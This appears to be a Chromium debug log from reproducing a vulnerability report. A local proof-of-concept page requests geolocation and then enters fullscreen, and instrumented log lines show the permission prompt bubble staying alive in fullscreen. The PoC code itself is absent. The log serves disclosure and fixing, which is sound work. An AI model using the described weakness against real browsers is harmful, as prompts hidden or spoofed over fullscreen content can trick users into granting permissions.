[4599:4599:0518/011639.555430:INFO:CONSOLE:35] "[poc] requesting geolocation (no user gesture)", source: http://127.0.0.1:18765/poc.html (35) [4599:4599:0518/011639.558693:ERROR:chrome/browser/ui/views/permissions/permission_prompt_factory.cc:259] POC-FACTORY CreatePermissionPrompt quiet=0 gesture=0 [4599:4599:0518/011639.559129:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:50] POC-BUBBLE ShowBubble IsTabFullscreen=0 (blocker will NOT be acquired) [4599:4599:0518/011639.575995:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=0 alive=1 [4599:4599:0518/011645.003174:INFO:CONSOLE:35] "[poc] user click -> requestFullscreen()", source: http://127.0.0.1:18765/poc.html (35) [4599:4599:0518/011645.005016:ERROR:content/browser/web_contents/web_contents_impl.cc:4764] POC-FULL CanEnterFullscreenMode fullscreen_blocker_count_=0 [4599:4599:0518/011645.005142:ERROR:content/browser/web_contents/web_contents_impl.cc:4778] POC-FULL EnterFullscreenMode (tab going fullscreen) [4599:4599:0518/011645.017809:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=1 alive=1 [4599:4599:0518/011645.020662:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=1 alive=1 ================ RESULT ================ Bubble shown w/o blocker : True CanEnterFullscreen count=0 : True EnterFullscreenMode reached : True Bubble alive in fullscreen : True Bubble destroyed? : NO (still live!) JS document.fullscreenElement = HTML >>> VULNERABILITY REPRODUCED <<< ========================================== [4599:4599:0518/011647.335768:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=0 alive=1 [4599:4599:0518/011647.341050:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=0 alive=1 [4599:4599:0518/011647.341620:ERROR:chrome/browser/ui/views/permissions/permission_prompt_bubble.cc:125] POC-BUBBLE UpdateAnchor fullscreen=0 alive=1